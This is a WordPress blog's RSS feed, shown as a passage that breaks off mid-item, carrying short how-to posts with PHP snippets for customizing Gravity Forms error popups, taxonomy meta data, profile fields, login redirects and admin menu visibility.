<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Brad Williams Blog&#187; PHP</title>
	<atom:link href="http://www.strangework.com/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.strangework.com</link>
	<description>WordPress and Stuff</description>
	<lastBuildDate>Wed, 04 Jan 2012 20:52:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>How To: Display Gravity Form Error Messages in a JavaScript Popup</title>
		<link>http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/</link>
		<comments>http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/#comments</comments>
		<pubDate>Fri, 30 Sep 2011 14:30:17 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=1624</guid>
		<description><![CDATA[Gravity Forms is an extremely popular contact form plugin for WordPress. One of the reasons Gravity Forms is so popular is the ease in which you can customize it. Much like WordPress, Gravity Forms features various action and filter hooks for developers to use to easily tweak how GF functions. Working on a client site [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2008/01/20/the-art-and-science-of-javascript-from-sitepoint/' rel='bookmark' title='The Art and Science of JavaScript from SitePoint'>The Art and Science of JavaScript from SitePoint</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://webdevstudios.com/go/gravity-forms/" target="_blank">Gravity Forms</a> is an extremely popular contact form plugin for WordPress.  One of the reasons Gravity Forms is so popular is the ease in which you can customize it.  Much like WordPress, Gravity Forms features various action and filter hooks for developers to use to easily tweak how GF functions.  </p>
<p>Working on a client site recently I needed to customize how error messages were displayed in Gravity Forms.  By default GF will display an error message above the form if any field values aren&#8217;t validated (ie a required field is left empty).  On this particular website I wanted the error message to display in a simple JavaScript popup, instead of on the page.  Below is the code I used to do just that:</p>
<pre class="brush: php;">
add_filter( 'gform_validation_message', 'sw_gf_validation_message', 10, 2 );

function sw_gf_validation_message( $validation_message ) {

	//display error JS popup
	add_action( 'wp_footer', 'sw_gf_js_error' );

}

function sw_gf_js_error() {
	?&gt;
	&lt;script type=&quot;text/javascript&quot;&gt;
		alert( &quot;Please fill out all required fields indicated by a *&quot; );
	&lt;/script&gt;
	&lt;?php
}
</pre>
<p>As you can see I&#8217;m using the <strong>gform_validation_message </strong>filter to customize how the error message is processed.  The PHP variable <strong>$validation_message</strong> stores the original error message GF was going to display.  In this example I didn&#8217;t use the original error message, but you could easily pass that to your JS popup if needed.</p>
<p>This is a pretty simple example of customizing the Gravity Forms error message.  Enjoy!</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/&amp;title=How+To%3A+Display+Gravity+Form+Error+Messages+in+a+JavaScript+Popup" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/&amp;title=How+To%3A+Display+Gravity+Form+Error+Messages+in+a+JavaScript+Popup" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/&amp;title=How+To%3A+Display+Gravity+Form+Error+Messages+in+a+JavaScript+Popup" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/&amp;title=How+To%3A+Display+Gravity+Form+Error+Messages+in+a+JavaScript+Popup" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Display+Gravity+Form+Error+Messages+in+a+JavaScript+Popup+-+http://bit.ly/qf11qd&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=1624&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2008/01/20/the-art-and-science-of-javascript-from-sitepoint/' rel='bookmark' title='The Art and Science of JavaScript from SitePoint'>The Art and Science of JavaScript from SitePoint</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2011/09/30/how-to-display-gravity-form-error-messages-in-a-javascript-popup/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How To: Save Taxonomy Meta Data as an Options Array in WordPress</title>
		<link>http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/</link>
		<comments>http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 14:59:18 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[metadata]]></category>
		<category><![CDATA[taxonomy]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=1047</guid>
		<description><![CDATA[One challenge in WordPress is saving meta data on a taxonomy. For instance imagine you want to save additional data on a category or tag. Currently there is no wp_termmeta database table to store taxonomy meta data. In this tutorial I&#8217;m going to show you how to save a single ID against every category in [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2011/05/31/how-to-add-a-link-to-the-wordpress-multisite-network-admin-sites-list/' rel='bookmark' title='How To:  Add A Link to the WordPress Multisite Network Admin Sites List'>How To:  Add A Link to the WordPress Multisite Network Admin Sites List</a></li>
<li><a href='http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/' rel='bookmark' title='How To: Add a Post Thumbnail to an RSS Feed in WordPress'>How To: Add a Post Thumbnail to an RSS Feed in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>One challenge in WordPress is saving meta data on a taxonomy.  For instance imagine you want to save additional data on a category or tag.  Currently there is no wp_termmeta database table to store taxonomy meta data.  In this tutorial I&#8217;m going to show you how to save a single ID against every category in WordPress.  I&#8217;m going to save that meta data (the ID in this case) as a single array of options in the WordPress options table.</p>
<p>First we need to add a form field to the Edit Category screen.  To do this we&#8217;ll use the edit_category_form_fields action hook available in WordPress:</p>
<pre class="brush: php;">
&lt;?php
add_action ( 'edit_category_form_fields', 'tme_cat_featured');

function tme_cat_featured( $tag ) {

	//check for existing featured ID
	$cat_featured = get_option( 'category_featured' );
	$featured_id = '';
	if ( is_array( $cat_featured ) &amp;&amp; array_key_exists( $tag-&gt;term_id, $cat_featured ) ) {
		$featured_id = $cat_featured[$tag-&gt;term_id] ;
	}
?&gt;
    &lt;tr class=&quot;form-field&quot;&gt;
        &lt;th scope=&quot;row&quot; valign=&quot;top&quot;&gt;&lt;label for=&quot;category_featured&quot;&gt;&lt;?php _e('Featured Post ID') ?&gt;&lt;/label&gt;&lt;/th&gt;
        &lt;td&gt;
        	&lt;input type=&quot;text&quot; name=&quot;category_featured&quot; id=&quot;category_featured&quot; size=&quot;3&quot; style=&quot;width:5%;&quot; value=&quot;&lt;?php echo $featured_id; ?&gt;&quot;&gt;&lt;br /&gt;
            &lt;span class=&quot;description&quot;&gt;The post ID that will be the featured post when viewing this category.&lt;/span&gt;
        &lt;/td&gt;
    &lt;/tr&gt;

&lt;?php
}
?&gt;
</pre>
<p>The above code will add a single text field (Featured Post ID) to the Edit Category screen as shown in the screenshot below:</p>
<p><a href="http://www.strangework.com/wp-content/uploads/2010/07/taxonomy-meta-data.png" rel="shadowbox[sbpost-1047];player=img;"><img src="http://www.strangework.com/wp-content/uploads/2010/07/taxonomy-meta-data.png" alt="" title="taxonomy-meta-data" width="450" class="alignnone size-full wp-image-1053" /></a></p>
<p>Now that we&#8217;ve added a text field to our Edit Category page we need to save the input to our option array.  To capture the ID when a category is updated we&#8217;ll use the edited_category action hook like so:</p>
<pre class="brush: php;">
&lt;?php
add_action ( 'edited_category', 'tme_save_featured');

function tme_save_featured( $term_id ) {
	if ( isset( $_POST['category_featured'] ) ) {

		//load existing category featured option
		$current_featured = get_option( 'category_featured' );

		//set featured post ID to proper category ID in options array
		$current_featured[$term_id] = intval( $_POST['category_featured'] );

		//save the option array
		update_option( 'category_featured', $current_featured );
	}
}
?&gt;
</pre>
<p>As you can see we are saving the Category ID and Featured Post ID as a single associative array option value in WordPress named category_featured.  As you add Featured Post ID values to each of your categories they will be added to this array and saved in WordPress.  One thing to consider when using this method is scalability.  If you plan on storing thousands of meta data values for your taxonomies this isn&#8217;t the method for you.</p>
<p>I packaged this example into a stand alone plugin so you can easily install on your WordPress website and test it out:  <a href="http://strangework.com/downloads/taxonomy-metadata.zip" title="WordPress Taxonomy Meta Data Plugin">Download the Taxonomy Meta Data plugin example</a>.</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/&amp;title=How+To%3A+Save+Taxonomy+Meta+Data+as+an+Options+Array+in+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/&amp;title=How+To%3A+Save+Taxonomy+Meta+Data+as+an+Options+Array+in+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/&amp;title=How+To%3A+Save+Taxonomy+Meta+Data+as+an+Options+Array+in+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/&amp;title=How+To%3A+Save+Taxonomy+Meta+Data+as+an+Options+Array+in+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Save+Taxonomy+Meta+Data+as+an+Options+Array+in+WordPress+-+http://bit.ly/93yd9t&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=1047&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2011/05/31/how-to-add-a-link-to-the-wordpress-multisite-network-admin-sites-list/' rel='bookmark' title='How To:  Add A Link to the WordPress Multisite Network Admin Sites List'>How To:  Add A Link to the WordPress Multisite Network Admin Sites List</a></li>
<li><a href='http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/' rel='bookmark' title='How To: Add a Post Thumbnail to an RSS Feed in WordPress'>How To: Add a Post Thumbnail to an RSS Feed in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2010/07/01/how-to-save-taxonomy-meta-data-as-an-options-array-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>How To: Remove Default Profile Fields in WordPress</title>
		<link>http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/</link>
		<comments>http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 18:40:23 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[functions.php]]></category>
		<category><![CDATA[profile]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=925</guid>
		<description><![CDATA[A few days ago I came across an interesting challenge in WordPress. I wanted to hide some of the default profile fields from being displayed to the users in WordPress. Specifically I wanted to hide the AIM, Yahoo IM, and Jabber / Google Talk fields. It took a bit of digging but I found the [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
<li><a href='http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/' rel='bookmark' title='How To: Create Backdoor Admin Access in WordPress'>How To: Create Backdoor Admin Access in WordPress</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>A few days ago I came across an interesting challenge in WordPress.  I wanted to hide some of the default profile fields from being displayed to the users in WordPress.  Specifically I wanted to hide the AIM, Yahoo IM, and Jabber / Google Talk fields.  It took a bit of digging but I found the below function buried in the WordPress.org support forums.  Just place the below code in your themes functions.php file to remove these fields:</p>
<pre class="brush: php;">
&lt;?php
add_filter('user_contactmethods','hide_profile_fields',10,1);

function hide_profile_fields( $contactmethods ) {
  unset($contactmethods['aim']);
  unset($contactmethods['jabber']);
  unset($contactmethods['yim']);
  return $contactmethods;
}
?&gt;
</pre>
<p>That&#8217;s it!  As you can see below the three fields are removed from the Profile page on the WordPress admin side.  This makes it much less confusing for users since they don&#8217;t see fields that we aren&#8217;t using on the website.  </p>
<p align="center"><a href="http://www.strangework.com/wp-content/uploads/2010/03/remove-profile-fields-example.png" rel="shadowbox[sbpost-925];player=img;"><img src="http://www.strangework.com/wp-content/uploads/2010/03/remove-profile-fields-example-300x87.png" alt="" title="remove-profile-fields-example" width="300" height="87" class="aligncenter size-medium wp-image-933" /></a></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/&amp;title=How+To%3A+Remove+Default+Profile+Fields+in+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/&amp;title=How+To%3A+Remove+Default+Profile+Fields+in+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/&amp;title=How+To%3A+Remove+Default+Profile+Fields+in+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/&amp;title=How+To%3A+Remove+Default+Profile+Fields+in+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Remove+Default+Profile+Fields+in+WordPress+-+http://bit.ly/bGHCLZ&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=925&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
<li><a href='http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/' rel='bookmark' title='How To: Create Backdoor Admin Access in WordPress'>How To: Create Backdoor Admin Access in WordPress</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>How To: Redirect A User After Logging Into WordPress</title>
		<link>http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/</link>
		<comments>http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 14:30:04 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[login]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=916</guid>
		<description><![CDATA[A common question I&#8217;ve seen is how can you redirect a user to a specific URL after they login to WordPress. Maybe you want to hide the Admin Dashboard from your users, so redirecting them to the home page after logging in is a great way to do this. Just place the below code in [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/' rel='bookmark' title='How To: Remove Default Profile Fields in WordPress'>How To: Remove Default Profile Fields in WordPress</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>A common question I&#8217;ve seen is how can you redirect a user to a specific URL after they login to WordPress.  Maybe you want to hide the Admin Dashboard from your users, so redirecting them to the home page after logging in is a great way to do this.  Just place the below code in your themes functions.php file:</p>
<pre class="brush: php;">
&lt;?php
add_action('login_form', 'redirect_after_login');

function redirect_after_login() {
	global $redirect_to;
	if (!isset($_GET['redirect_to'])) {
		$redirect_to = get_option('siteurl');
	}
}
?&gt;
</pre>
<p>The preceding code snippet will redirect any user who logs in to the home page (siteurl) of WordPress.  You can easily set any redirect URL you want by changing the value of the $redirect_to variable.  This function also verifies that the redirect_to querystring doesn&#8217;t exist before setting the redirect URL.</p>
<p>It&#8217;s as easy as that!  Now you can easily control where your users are redirected to when they login to WordPress.</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/&amp;title=How+To%3A+Redirect+A+User+After+Logging+Into+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/&amp;title=How+To%3A+Redirect+A+User+After+Logging+Into+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/&amp;title=How+To%3A+Redirect+A+User+After+Logging+Into+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/&amp;title=How+To%3A+Redirect+A+User+After+Logging+Into+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Redirect+A+User+After+Logging+Into+WordPress+-+http://bit.ly/asN4Vw&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=916&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/' rel='bookmark' title='How To: Remove Default Profile Fields in WordPress'>How To: Remove Default Profile Fields in WordPress</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>How To: Hide an Admin Menu in WordPress</title>
		<link>http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/</link>
		<comments>http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 15:01:36 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[menu]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=908</guid>
		<description><![CDATA[Have you ever needed to hide a specific admin menu from other users in WordPress? Maybe you want to hide the Plugins and Appearance menus to keep your users out of trouble. Just place the below code in your themes functions.php file to hide the Plugins menu from all users except for admin: &#60;?php add_action('admin_head', [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/' rel='bookmark' title='How To: Remove Default Profile Fields in WordPress'>How To: Remove Default Profile Fields in WordPress</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Have you ever needed to hide a specific admin menu from other users in WordPress?  Maybe you want to hide the Plugins and Appearance menus to keep your users out of trouble. Just place the below code in your themes functions.php file to hide the Plugins menu from all users except for admin:</p>
<pre class="brush: php;">
&lt;?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	global $current_user;
	get_currentuserinfo();

	If($current_user-&gt;user_login != 'admin') {
		?&gt;
		&lt;style&gt;
		   #menu-plugins{
				display:none;
			}
		&lt;/style&gt;
		&lt;?php
	}
}
?&gt;
</pre>
<p>As another example lets say we want to hide the Links menu from all users that aren&#8217;t administrators in WordPress.  The below code would do just that:</p>
<pre class="brush: php;">
&lt;?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	if ( !current_user_can('manage_options') ) {
		?&gt;
		&lt;style&gt;
		   #menu-links{
				display:none;
			}
		&lt;/style&gt;
		&lt;?php
	}
}
?&gt;
</pre>
<p>This is a pretty simple method of hiding menus in the WordPress admin dashboard.  Enjoy!</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/&amp;title=How+To%3A+Hide+an+Admin+Menu+in+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/&amp;title=How+To%3A+Hide+an+Admin+Menu+in+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/&amp;title=How+To%3A+Hide+an+Admin+Menu+in+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/&amp;title=How+To%3A+Hide+an+Admin+Menu+in+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
